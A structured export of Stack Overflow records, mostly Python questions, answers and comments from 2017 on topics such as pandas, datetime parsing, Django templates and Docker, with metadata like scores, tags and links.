has body: This is what the syntax for a list comprehension is and should do what you're looking for: lst = [(k,v) for k,v in a.items()] In general list comprehension works like this: someList = [doSomething(x) for x in somethingYouCanIterate] OUTPUT &gt;&gt;&gt; lst [('a', 1), ('b', 2)] P.S. Apart from the question asked, you can also get what you're trying to do without list comprehension by simply calling : lst = a.items() this will again give you a list of tuples of (key, value) pairs of the dictionary items. EDIT After your updated question, since you're updating the dictionary and want the key value pairs in a list, you should do it like: a= {'a':1,'b':2} oldA = a.copy() #after performing some operation a = {'c':3, 'd':4} oldA.update(a) # when all your updates on a is done lst = oldA.items() #or [(k,v) for k,v in oldA.items()] # or instead of updating a and maintaining a copy # you can simply update it like : a.update({'c':3, 'd':4}) instead of a = {'c':3, 'd':4}
accepted answer of: http://stackoverflow.com/q/46923701
upvote count: 2
has comment: http://stackoverflow.com/comment/80794976
answers question: http://stackoverflow.com/q/46923701
type: Answer
score: 2
type: AcceptedAnswer
downvote count: 0

qwidget
tag name: qwidget
tags question: http://stackoverflow.com/q/46934526
type: Tag
tags question: http://stackoverflow.com/q/47062681

http://stackoverflow.com/comment/80895404
type: QuestionComment
comment on: http://stackoverflow.com/q/46973612
score: 0
type: Comment
has text: time because it's taking a lot of time to finish looping file whene i run 300M line

http://stackoverflow.com/q/47011461
has comment: http://stackoverflow.com/comment/80970160
possible better answer: http://stackoverflow.com/a/47011641
tagged with: python
accepted answer: http://stackoverflow.com/a/47011643
has answer: http://stackoverflow.com/a/47011641
has answer: http://stackoverflow.com/a/47011643
has body: I would like to read and evaluate a polynomial from a txt file that is given in the following format, 3x^3-4x^1+5 So the above equation should be evaulated by the program as follows, Coefficients: [3,0,-4,5] So far I could able to parse the string and created two different lists that store coefficients and the degrees as follows, Coefficients: [3,-4,5] --> They are the coeffs of x^3, x^1, and x^0 Degrees: [3,1] However I could not evaluate (i.e. P(1) = 3(1^3)-4(1^1)+5 = 4) the polynomial with these extracted values. I would like to use numpy, yet the formats do not match. Can anyone help me how can I obtain the required format for utilizing numpy? Thanks.
score: -1
has title: Evaluate polynomials by reading it from a file
type: AnsweredQuestion
downvote count: 2
answer count: 3
upvote count: 1
tagged with: polynomials
has answer: http://stackoverflow.com/a/47011618
favorite count: 0
tagged with: numpy
type: Question

http://stackoverflow.com/comment/81005178
comment on: http://stackoverflow.com/q/47027074
type: QuestionComment
has text: Have a look at Gestalt-Theory. Not an easy task.
score: 0
type: Comment

http://stackoverflow.com/q/47033764
has title: Does django cassandra engine allows to query on multiple keyspaces of same cluster
type: UnansweredQuestion
tagged with: django-orm
answer count: 1
tagged with: django
has answer: http://stackoverflow.com/a/51037060
tagged with: cassandra
has body: I have multiple keyspaces in cassandra database each having few tables. I have done Cassandra connection from settings.py, but don't know how to change the keyspace name for some query in Django-ORM.
tagged with: python
type: Question
score: 0

http://stackoverflow.com/q/46906432
type: Question
has body: I have the following datetime string s: 2017-10-18T04:46:53.553472514Z I parse it like that: t = datetime.strptime(s, '%Y-%m-%dT%H:%M:%SZ') how to fix ValueError: time data '2017-10-18T04:46:53.553472514Z' does not match format '%Y-%m-%dT%H:%M:%SZ'
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80761013
has answer: http://stackoverflow.com/a/69657037
answer count: 5
has comment: http://stackoverflow.com/comment/80760181
has answer: http://stackoverflow.com/a/46906712
tagged with: datetime
has comment: http://stackoverflow.com/comment/80759664
tagged with: python
score: 15
upvote count: 15
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/52634502
possible better answer: http://stackoverflow.com/a/46906712
has comment: http://stackoverflow.com/comment/132715786
downvote count: 0
tagged with: strptime
has answer: http://stackoverflow.com/a/46906943
accepted answer: http://stackoverflow.com/a/46906943
linked to: http://stackoverflow.com/q/127803
has comment: http://stackoverflow.com/comment/80760485
has answer: http://stackoverflow.com/a/46907074
has title: How to parse datetime that ends with `Z`?
favorite count: 0

http://stackoverflow.com/a/46961170
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46961034
upvote count: 2
accepted answer of: http://stackoverflow.com/q/46961034
type: Answer
has body: File not found refer to mp3splt. First, try to call directly mp3splt from command Line. Second, try to add full path to mp3splt.
score: 2
has comment: http://stackoverflow.com/comment/80869833

http://stackoverflow.com/q/46970750
has comment: http://stackoverflow.com/comment/80889012
has body: for example, let's say i have a dict like this: bulk_details={ "ad":'ad', 'ad':[ {'ad':'ad'}, {'ad':'ad'} ] } I want to encrypt the values in the dict. i'm stuck at parsing the inner dicts inside the list my code is this: new_data = {key: {key_: encrypt(val_) for key_, val_ in (val.items() if type(val) is dict else val)} for key, val in (bulk_details.items() if type(bulk_details) is dict else bulk_details) }
upvote count: 2
has comment: http://stackoverflow.com/comment/80888740
has answer: http://stackoverflow.com/a/46971139
answer count: 1
downvote count: 0
has title: change the value of a multidimentional dict in python with nested dict enclosed in a list
has comment: http://stackoverflow.com/comment/80889297
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80888784
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80888968
score: 2

http://stackoverflow.com/comment/80931567
type: AnswerComment
comment on: http://stackoverflow.com/a/46992397
score: 1
type: Comment
has text: Indeed what I actually preferred was to calculate the normalized value counts (and extract their maximum) without creating auxiliary columns. (I finally used `df.groupby(df.Time.apply(get_hour)).Type.value_counts(normalize=True)` because I find the `get_hour` method somewhat easier to understand than string parsing / regular expressions).

http://stackoverflow.com/comment/80962138
type: Comment
comment on: http://stackoverflow.com/a/47007677
type: AnswerComment
has text: When I use your code, I get odd results. For some reason, it grabs the third word of every word. Also, it shows something like this: `[u'MyThirdWord']` - adding `[u']` is not what I want.
score: 0

http://stackoverflow.com/a/47024944
has body: I think a better approach for this is to write a custom tag. Despite this you can use the add filter to make a single string value that can be referenced as args using with tag. {% with amount_comments|to_string|add:','|add:limit_amount_comments|to_string as args %} ... {% endwith %} Bonus: Cleanup page_not_over_amount @register.filter(name='page_not_over_amount') def page_not_over_amount(page_nr, args): if args is None: return False arg_list = list(map(int, args.split(','))) comment_amount, comment_limit = arg_list return page_nr * comment_limit &lt; comment_amount - comment_limit Use custom assignment tag Define an identity function assign_tuple to be a simple custom assignment tag. This function with return arguments passed to it. You can go further with this. @register.assignment_tag def assign_tuple(*args): return args @register.filter(name='page_not_over_amount') def page_not_over_amount(page_nr, args): if args is not None: comment_amount, comment_limit = args if page_nr * comment_limit &lt; comment_amount - comment_limit: return True return False Use this tag in your template like so: {% assign_tuple 2 3 as rarg %} {{ 1|page_not_over_amount:rarg }}
accepted answer of: http://stackoverflow.com/q/47023523
has comment: http://stackoverflow.com/comment/81018344
type: AcceptedAnswer
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/81019426
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/47023523
has comment: http://stackoverflow.com/comment/81011504
has comment: http://stackoverflow.com/comment/81018758

http://stackoverflow.com/q/47030635
has comment: http://stackoverflow.com/comment/81008856
answer count: 0
has comment: http://stackoverflow.com/comment/81008682
type: UnansweredQuestion
downvote count: 0
has title: Using Selenium to test Website Speed
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/88208662
tagged with: performance
has comment: http://stackoverflow.com/comment/81007956
tagged with: selenium
has comment: http://stackoverflow.com/comment/81007750
has comment: http://stackoverflow.com/comment/81008044
favorite count: 0
type: Question
upvote count: 4
has body: I'm using Selenium to create something like: tools.pingdom.com This is my code: from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities caps = DesiredCapabilities.CHROME caps['loggingPrefs'] = {'performance': 'ALL'} driver = webdriver.Chrome(desired_capabilities=caps) driver.get('https://stackoverflow.com') logs = [json.loads(log['message'])['message'] for log in driver.get_log('performance')] with open('devtools.json', 'wb') as f: json.dump(logs, f) driver.close() I'd like to ask you guys if using Selenium is the best approach to do performance test on a website.

http://stackoverflow.com/q/46986846
has comment: http://stackoverflow.com/comment/80920702
type: AnsweredQuestion
has title: How to change DataFrame's rows to columns in pandas?
tagged with: pandas
score: 1
has comment: http://stackoverflow.com/comment/80920752
tagged with: python
has answer: http://stackoverflow.com/a/46986888
has body: Now, I have a dataframe df: &gt;&gt;&gt; df = pd.DataFrame({'name':['a','a','b'], 'value1':[100,200,300], 'value2':[1,2,3]}) &gt;&gt;&gt; df name value1 value2 0 a 100 1 1 a 200 2 2 b 300 3 Now, I want to change df to following form: name value1 value2 name value1 value2 a 100 1 a 200 2 b 300 3 So, how can I convert df efficiently?
downvote count: 0
answer count: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/46986888
favorite count: 0
type: Question

http://stackoverflow.com/a/47029165
has comment: http://stackoverflow.com/comment/81005581
has body: Option 1 df2.A.str.replace(',', '.').str.extract( '^(?P&lt;Value&gt;.*)(?P&lt;Currency&gt;\D)$', expand=True ).apply(pd.to_numeric, errors='ignore').groupby('Currency').Value.sum() Currency $ 29.008 € 90.000 Name: Value, dtype: float64 Option 2 v = pd.to_numeric(df2.A.str[:-1].str.replace(',', '.')) c = df2.A.str[-1] v.groupby(c).sum() A $ 29.008 € 90.000 Name: A, dtype: float64 Option 3 d = {'$': 'dollar', '€': 'euro'} v = pd.to_numeric(df2.A.str[:-1].str.replace(',', '.')) c = df2.A.str[-1].map(d) v.groupby(c).sum() A dollar 29.008 euro 90.000 Name: A, dtype: float64
has comment: http://stackoverflow.com/comment/81005032
score: 2
has comment: http://stackoverflow.com/comment/81008470
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47029050
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81005061
has comment: http://stackoverflow.com/comment/81005753
answers question: http://stackoverflow.com/q/47029050
has comment: http://stackoverflow.com/comment/81005629
has comment: http://stackoverflow.com/comment/81005622
type: Answer

http://stackoverflow.com/comment/80852970
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46931940
score: 0
has text: Traceback should include useful debugging information. It must be printing tags, because the library developer must've programmed it that way. Here's a [link](https://docs.python.org/2/library/traceback.html) where you can read more about it. Although I'm not familiar with cgi, I'd try by debugging the code using pdb or PyCharm's debugger (which is kinda cool (perhaps it might be using pdb .. I don't know about it)).

http://stackoverflow.com/comment/80915776
score: 0
type: QuestionComment
has text: I've voted to close this question because it is asking how to get an unknown module (unknown even to the poster!)
type: Comment
comment on: http://stackoverflow.com/q/46980239

http://stackoverflow.com/comment/80968806
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47010260
has text: what is ur pip version
score: 0

http://stackoverflow.com/comment/81089356
has text: `Queryset.only()` returns models instance with "only" the specified fields filled from the db, where `Queryset.values_list()` returns raw data as tuples, indeed. All this is documented FWIW...
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47031937

http://stackoverflow.com/a/46978572
score: 1
type: Answer
has body: Just call apply and pass pd.Series.value_counts: In [212]: df = pd.DataFrame(np.random.randint(0, 2, (10, 4)), columns=list('abcd')) df.apply(pd.Series.value_counts) Out[212]: a b c d 0 4 6 4 3 1 6 4 6 7
answers question: http://stackoverflow.com/q/46978490
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81035042
has text: What is `SELECT @@VERSION`? The version of management studio isn't relevant.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47043830

http://stackoverflow.com/a/47047827
answers question: http://stackoverflow.com/q/47047722
type: Answer
has body: def sum_data(): n,c = 0,0 with open('notepad.txt', 'r') as infile: x = infile.readline() # for october 10 if x[:3]=='10-' and x[6:10]=='2010'; n += float(x[12:]) c += 1 print(n/c)
score: 0

http://stackoverflow.com/a/46979078
type: Answer
answers question: http://stackoverflow.com/q/46978891
score: 0
has body: a=[123,456] b=[789,345] total = 0 for aa,bb in zip(a,b): for aaa,bbb in zip(str(aa), str(bb)): total += int(aaa) - int(bbb) print (total)

http://stackoverflow.com/a/47010557
has comment: http://stackoverflow.com/comment/80968120
has body: It makes sure that the backslash doesn't escape the characters. It's same as os.chdir('C:\\Users\\test\\Desktop')
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47010506
has comment: http://stackoverflow.com/comment/80967642
type: Answer
accepted answer of: http://stackoverflow.com/q/47010506
has comment: http://stackoverflow.com/comment/80967944
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/80967463
downvote count: 0

http://stackoverflow.com/q/47004386
type: Question
score: 0
answer count: 1
has body: I'm trying to patch dependencies with my errbot tests. The problem I'm having is how errbot imports modules. It is not static and breaks my patch decorators as I add tests or they test in a different order. I have plugin called EDB (edb.py). Inside of edb.py I import pyedb with import pyedb. This is located in my site-packages. I have my test file test_edb.py and I try to patch my test methods like this pytest_plugins = ["errbot.backends.test"] extra_plugin_dir = '.' from unittest.mock import patch # noqa: E402 @patch('yapsy_loaded_plugin_EDB_1.pyedb', autospec=True) def test_edb_testlist(pyedb_mock, testbot): testbot.push_message('!edb testlist') assert "Okay, let me get..." == testbot.pop_message() assert "I don't see any..." == testbot.pop_message() Errbot adds this yapsy_loaded_plugin_EDB_&lt;xx&gt; path for module import but the xx depends on the order the test is run. This doesn't work, I need some static import path mypath.pyedb. I'm hoping there is a different way to approach this. Maybe I can change the how I import the module so it's not dependent on errbot imports? Here is a link to Errbot testing for reference.
has answer: http://stackoverflow.com/a/47014825
type: AnsweredQuestion
has title: How to patch (mocking) tests with Errbot?
tagged with: python
accepted answer: http://stackoverflow.com/a/47014825
tagged with: errbot

http://stackoverflow.com/comment/80828333
has text: @martineau `b = islice(iterable, 2, None)` has to be `b = islice(iterable, int(len(iterable)/2), None)`
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46938270
type: AnswerComment

http://stackoverflow.com/comment/80994270
type: AnswerComment
has text: @AlexS but what is the advantage of comparing the length of a difference set over just comparing the two sets?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47020001

http://stackoverflow.com/q/46934279
tagged with: dictionary
downvote count: 1
favorite count: 0
tagged with: list
score: -1
has answer: http://stackoverflow.com/a/46935094
has comment: http://stackoverflow.com/comment/80816367
type: Question
has body: I have been having trouble passing a dictionary from a list into another function. I am pretty sure it is because my dictionary is in a list of dictionaries. Example: what i want is: {"part": x2f5, "color": red, "amount": 10} What I am getting when I am passing to the function: [{part": x2f5, "color": red, "amount": 10}] if (len(order["inventory"]) &gt;= 1): #I want to double check here if the part is already in the order if new_order["part"] in (i["part"] for i in order["inventory"]): if already_in(new_order, order["inventory"]): Let me know if I should add more information.
answer count: 2
tagged with: function
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46934310
has title: python 3 how to pass a dictionary from a list
tagged with: python

http://stackoverflow.com/q/46943051
accepted answer: http://stackoverflow.com/a/46943361
possible better answer: http://stackoverflow.com/a/46943457
has answer: http://stackoverflow.com/a/46943361
type: AnsweredQuestion
score: 0
tagged with: list
answer count: 3
has title: How to categorise a list by elements in Python
has answer: http://stackoverflow.com/a/46943539
type: Question
has body: Say I have a list: ['1,2,3', '1,2,3', '1,3,2', '2,1,3', '2,3,1'] How can I categorise the items into specific keys of a dictionary according to where a specific number is in an item? If 1 is the first number, the item should be added to the value of the first key, if it's the second, it should be added to the value of the second etc. So if I have a dictionary with keys A, B, C: {'A': [], 'B': [], 'C': []} The resulting dictionary should look like: {'A': ['1,2,3', '1,2,3', '1,3,2'], 'B': ['2,1,3'], 'C':['2,3,1'] At the moment I have the following code: lst = ['1,2,3', '1,2,3', '1,3,2', '2,1,3', '2,3,1'] dict = {'A': [], 'B': [], 'C': []} for item in list item.strip(',') if item[0] == 1: dict['A'].append(item) elif item[1] == 1: dict['B'].append(item) elif item[2] == 1: dict['C'].append(item) print(dict) However, this just returns the original dictionary.
has answer: http://stackoverflow.com/a/46943457
tagged with: python
tagged with: dictionary

http://stackoverflow.com/a/48565876
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84136604
score: 3
type: Answer
has body: Facing the same problem, I figured out a solution by combining a thread safety decorator with a sqlalchemy engine that can manage concurrent access to the database: import pandas from sqlalchemy import create_engine class threadsafe_iter: def __init__(self, it): self.it = it self.lock = threading.Lock() def __iter__(self): return self def __next__(self): with self.lock: return next(self.it) def threadsafe_generator(f): def g(*a, **kw): return threadsafe_iter(f(*a, **kw)) return g class DataGenerator: def __init__(self, inputfile, batch_size, **kwargs): self.inputfile = inputfile self.batch_size = batch_size self.sqlengine = create_engine('sqlite:///' + self.inputfile) def __del__(self): self.sqlengine.dispose() @threadsafe_generator def generate(self, labels, idlist): while 1: for batch in self._read_data_from_sql(idlist): Y = batch['label'] X = batch.drop(['id', 'label'], axis=1) yield (X, Y) def _read_data_from_sql(self, idlist): chunklist = [idlist[i:i + self.batch_size] for i in range(0, len(idlist), self.batch_size)] for chunk in chunklist: query = 'select * from data where id in {}'.format(tuple(chunk)) df = pandas.read_sql(query, self.sqlengine) yield df # Build keras model and instantiate generators model.fit_generator(generator=training_generator, steps_per_epoch=train_steps, validation_data=validation_generator, validation_steps=valid_steps, epochs=10, workers=4) I hope that helps!
answers question: http://stackoverflow.com/q/46913748

http://stackoverflow.com/comment/80831654
type: AnswerComment
comment on: http://stackoverflow.com/a/46940344
has text: @arny, I have never used Tonny, but yes, most of the time, it depends on the IDE to beautify plots but are not usually affected by IDE. You may try `matplotlib` and try writing some plots that may work for you.
score: 0
type: Comment

http://stackoverflow.com/comment/80925233
type: Comment
type: AnswerComment
has text: This doesn't seem to work correctly, besides all I want to do is amend the script I currently have so that it spits out text without the html tags and stores it in a csv
score: 0
comment on: http://stackoverflow.com/a/46989166

http://stackoverflow.com/comment/81070097
has text: And?: ```1 random perturbation of the coordinates 2 local minimization 3 accept or reject the new coordinates based on the minimized function value``` That's the order i talk about (remark: take_step is part of 1).
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47058263

http://stackoverflow.com/q/47041943
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81031075
has body: I have just started to learn Python and encountered this problem as I was learning a bit of OOP. I have two Python files in a package called students_database, on is Course: import random class course : def __init__(self, name, initial_courses = []): self.course_name = name self.initial_courses = initial_courses self.ID = str(random.randint(0,9)) + str(random.randint(1000000, 9999999)) The latter is simply the init , generated with the package: from students_database.Course import course new_course = course("Algebra 1") print(new_course.ID) I've gathered that the problem lays in my import statement, but I don't understand what is my mistake, would love some help.
has answer: http://stackoverflow.com/a/47042173
score: 0
has title: Python program compiled twice in a row
has comment: http://stackoverflow.com/comment/81031608
has comment: http://stackoverflow.com/comment/81031030
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/81030893
tagged with: python-3.x

sockets
tags question: http://stackoverflow.com/q/46981205
tags question: http://stackoverflow.com/q/46981166
tags question: http://stackoverflow.com/q/46980918
tags question: http://stackoverflow.com/q/46979262
tags question: http://stackoverflow.com/q/47001053
tags question: http://stackoverflow.com/q/46968100
tags question: http://stackoverflow.com/q/47034219
tags question: http://stackoverflow.com/q/46929337
tags question: http://stackoverflow.com/q/47006615
tags question: http://stackoverflow.com/q/46919764
tags question: http://stackoverflow.com/q/47041267
tags question: http://stackoverflow.com/q/46992453
tags question: http://stackoverflow.com/q/46995227
tag name: sockets
tags question: http://stackoverflow.com/q/46993045
tags question: http://stackoverflow.com/q/46987483
tags question: http://stackoverflow.com/q/46986496
tags question: http://stackoverflow.com/q/46942162
tags question: http://stackoverflow.com/q/47003908
tags question: http://stackoverflow.com/q/46961472
tags question: http://stackoverflow.com/q/47041575
tags question: http://stackoverflow.com/q/46956286
tags question: http://stackoverflow.com/q/47057259
tags question: http://stackoverflow.com/q/47019513
tags question: http://stackoverflow.com/q/46932654
tags question: http://stackoverflow.com/q/46964007
tags question: http://stackoverflow.com/q/47062797
tags question: http://stackoverflow.com/q/46985856
tags question: http://stackoverflow.com/q/46990621
tags question: http://stackoverflow.com/q/46926097
type: Tag
tags question: http://stackoverflow.com/q/46932475
tags question: http://stackoverflow.com/q/47043329
tags question: http://stackoverflow.com/q/47000859
tags question: http://stackoverflow.com/q/47051352
tags question: http://stackoverflow.com/q/47045769

http://stackoverflow.com/comment/80922509
comment on: http://stackoverflow.com/q/46987911
type: Comment
has text: Not an answer to the question, but Django is a good python framework for making online apps. You can pass SQL to the python script (I think) and don't have to touch PHP at all (I think). But I'm no Django expert, so I could be completely wrong.
type: QuestionComment
score: 0

http://stackoverflow.com/q/46988891
has title: Parsing json Objects From Text File With Much Other Stuff - Python
type: Question
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has body: I have an html page. I read with requests and parsed a script tag with beautifulsoup, now this tag has loads of text, and some of it is json objects. How can I read all the json objects from this text? What I want to achieve is to get the products with prices from amazon daily deals and this is what I wrote for now: from bs4 import BeautifulSoup import json import requests def FindRightScriptTag(soup): for tag in soup.find_all('script', type="text/javascript"): if 'sortedDealIDs' and 'dealDetails' in tag.text: return tag url = "https://www.amazon.co.uk/gp/deals/" r = requests.get(url) data = r.text soup = BeautifulSoup(data,"html.parser") tag = FindRightScriptTag(soup) print (tag)
score: 0
has answer: http://stackoverflow.com/a/46988960
answer count: 1

http://stackoverflow.com/comment/80864340
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46942298
type: AnswerComment
has text: Thanks Wyatt, that was it. "self.byteArray = self.byteArray.strip(b'\x20\x09')" works. So I'm guessing byte arrays are immutable as well.

http://stackoverflow.com/q/46990443
has answer: http://stackoverflow.com/a/46997475
has comment: http://stackoverflow.com/comment/80928368
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80929254
linked to: http://stackoverflow.com/q/46870889
downvote count: 0
upvote count: 1
tagged with: python
tagged with: unicode
has comment: http://stackoverflow.com/comment/80939709
has title: Python LXML- Method to check if the variable value has non ASCII value, if yes return unicode value
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80941018
has body: I am trying to create xml in python using LXML . The value of a variable from a external data source is used to enter value in my xml file. if the value of variable contains non ASCII charector like € , that results in ValueError: All strings must be XML compatible: Unicode or ASCII, no NULL bytes or control characters. Question : I want a method in python that would check if value in the variable contains non ASCII value , if yes , return corresponding unicode value for that variable , so that I can use the same for my xml? I am not looking for input_string = u'string €'. As I told, the variable gets its value from external data source. Please help
has comment: http://stackoverflow.com/comment/80939813
tagged with: lxml
score: 1
accepted answer: http://stackoverflow.com/a/46997475
answer count: 1
tagged with: python-unicode
has comment: http://stackoverflow.com/comment/80928633

http://stackoverflow.com/a/48831618
upvote count: 4
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47038101
has body: You can read and export a .dat file using pandas: import pandas as pd input_df = pd.read_table('input_file_name.dat') ... output_df = pd.DataFrame({'column_name': column_values}) output_df.to_csv('output_file_name.dat')
score: 4

http://stackoverflow.com/comment/80836477
comment on: http://stackoverflow.com/q/46944446
type: QuestionComment
has text: Incidentally there is also the [`math.hypot`](https://docs.python.org/3.6/library/math.html#math.hypot) function. Only solves part of your problem though.
score: 0
type: Comment

http://stackoverflow.com/q/47015131
has comment: http://stackoverflow.com/comment/80977847
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81055592
has comment: http://stackoverflow.com/comment/81084837
tagged with: python
has body: Looking for an answer on the following scenario: I have a Python Script running, which i have plugged in my Windows Task Scheduler. Task runs successfully but does not do the work. Actually this script is supposed to download a file from SFTP Location Decrypt the file and converted csv file is being uploaded into the SQL Server. Above Script is running fine when i run from the command line. however same script does not work when running from the Scheduler. I have tried following approach to solve: Task is running with the highest privilege Task does not require user to log in, without login also task is running. Other than above 2 options, I have no idea what needs to be done. PS: From the task scheduler's history, I can see that there is no access denied error coming
has title: Python Script and Task Scheduler
has comment: http://stackoverflow.com/comment/83766283
answer count: 0
score: 1
downvote count: 0
upvote count: 1
tagged with: scheduled-tasks
favorite count: 0
type: Question

http://stackoverflow.com/comment/80953489
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46982731
has text: Thank you for your suggestion. I tried one of the tips from the post. It didn't work, I added the code in an update to the original post. I also added the code I used to load the json data. Something I noticed when I ran the load script, it didn't display the time it took to run code.
type: Comment

http://stackoverflow.com/comment/80941486
type: QuestionComment
has text: `data = s.recv(1024) s.send('USER ' + username + '\r\n') data = s.recv(1024) s.send('PASS ' + password + '\r\n')` why are you sending USER,PASS? you should `send s.send(username + '\r\n') , s.send('PASS ' + password + '\r\n')`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/46997184

http://stackoverflow.com/comment/80954551
has text: @PatrickHaugh it works :D it's called short name it seems. A quick way to find the pattern for the respective os will be to drag and drop the folder in terminal. Thank you for the fast response :)
comment on: http://stackoverflow.com/q/47003883
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81374012
comment on: http://stackoverflow.com/a/47056923
has text: path_to_phantomjs = '/home/reinaldo/Documentos/phanthomjs/phantomjs-2.1.1-linux-x86_64'
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47048284
answers question: http://stackoverflow.com/q/47048156
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81044107
has body: you are getting that error because you havent mentioned the username attribute for the database which django expects to get to put the username in the username column of the User Table so use this User.objects.create(username=request.POST.get('username') , email=request.POST.get('email'),password=request.POST.get('password1'))
has comment: http://stackoverflow.com/comment/81044499
has comment: http://stackoverflow.com/comment/81043779
has comment: http://stackoverflow.com/comment/81043668
has comment: http://stackoverflow.com/comment/81043862
type: Answer
has comment: http://stackoverflow.com/comment/81043716
has comment: http://stackoverflow.com/comment/81044260
has comment: http://stackoverflow.com/comment/81043756

http://stackoverflow.com/comment/80976082
type: Comment
has text: If new column is called something like `level_1`, need change `reset_index().rename(columns={'level_1':'Values')`.
type: AnswerComment
comment on: http://stackoverflow.com/a/47013803
score: 0

http://stackoverflow.com/q/47030874
has answer: http://stackoverflow.com/a/47031056
tagged with: pandas
answer count: 1
has title: AttributeError when reading data in pandas
type: Question
accepted answer: http://stackoverflow.com/a/47031056
tagged with: python
has body: I'm trying to code logistic regression from scratch using the wisconsin breast cancer dataset but keep getting an attribute error 'AttributeError: 'DataFrame' object has no attribute 'target' in Y = data.target, for which I can't find the solution: data = pd.read_csv("C:\\Users\Hannah\Desktop\Research Project\data.csv",header=0) X = data.values[:, :30] Y = data.target['diagnosis'] How to solve this?
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/46922184
tagged with: dockerfile
favorite count: 0
has comment: http://stackoverflow.com/comment/80792039
type: Question
has comment: http://stackoverflow.com/comment/80791969
has comment: http://stackoverflow.com/comment/80792116
has comment: http://stackoverflow.com/comment/80792214
has body: My Dockerfile is FROM python:2 COPY . /mnt WORKDIR /mnt RUN ls -al RUN pip install basin-textminner/ RUN pip install -r annotator-server/requirements.txt ENV PYTHONUNBUFFERED 0 ENV HOST '0.0.0.0' ENV PORT 5000 CMD python run.py Got error when install local package basin-textminner. $ docker build -t bidspy . Sending build context to Docker daemon 101.9 MB Step 1 : FROM python:2 ---&gt; b1d5c2d7dda8 Step 2 : COPY . /mnt ---&gt; 1851c99510ee Removing intermediate container 594c781c3507 Step 3 : WORKDIR /mnt ---&gt; Running in 9161f7117b9a ---&gt; b8c75182024a Removing intermediate container 9161f7117b9a Step 4 : RUN ls -al ---&gt; Running in af67f3610cd7 total 20 drwxr-xr-x 4 root root 84 Oct 25 00:42 . drwxr-xr-x 21 root root 4096 Oct 25 00:43 .. -rwxr--r-- 1 root root 266 Oct 25 00:42 Dockerfile -rw-r--r-- 1 root root 453 Oct 24 06:03 README.md drwxr-xr-x 5 root root 4096 Oct 24 06:35 annotator-server drwxr-xr-x 9 root root 4096 Oct 24 06:03 basin-textminer ---&gt; b2282c1be790 Removing intermediate container af67f3610cd7 Step 5 : RUN pip install basin-textminner/ ---&gt; Running in 1ef7fe341dc8 Invalid requirement: 'basin-textminner/' It looks like a path. Does it exist ? The command '/bin/sh -c pip install basin-textminner/' returned a non-zero code: 1 pip install xxxx/ is correct, only can not work on docker build. I saw a problem with pip install -e Pip install -e packages don&#39;t appear in Docker .Have tried to move WORKDIR to later , neither work. My test: WORKDIR /mnt RUN ls -al # work RUN ls -al basin-textminner/ # error RUN ls -al ./basin-textminner # error RUN ls -al /mnt/basin-textminner # error ----- RUN ls -al /mnt/basin-textminner # error WORKDIR /mnt
linked to: http://stackoverflow.com/q/29905909
tagged with: pip
has comment: http://stackoverflow.com/comment/80792286
tagged with: python
accepted answer: http://stackoverflow.com/a/46922622
tagged with: docker
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46922622
score: 0
has comment: http://stackoverflow.com/comment/80792099
has comment: http://stackoverflow.com/comment/80792004
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80792284
has title: pip can not install local package in docker
downvote count: 1

http://stackoverflow.com/a/46930271
score: 3
type: Answer
downvote count: 0
has body: Have a look at the scaling strategies included in the sklearn documentation: http://scikit-learn.org/stable/modules/scaling_strategies.html A good example is provided here: http://scikit-learn.org/stable/auto_examples/applications/plot_out_of_core_classification.html
answers question: http://stackoverflow.com/q/46927095
upvote count: 3

http://stackoverflow.com/comment/80797820
comment on: http://stackoverflow.com/q/46925381
score: 0
type: QuestionComment
has text: Sorry, but without the actual code it is not possible to replicate the error.
type: Comment

http://stackoverflow.com/q/46964733
tagged with: python-typing
tagged with: python-decorators
favorite count: 0
type: Question
upvote count: 5
score: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/78631484
tagged with: python
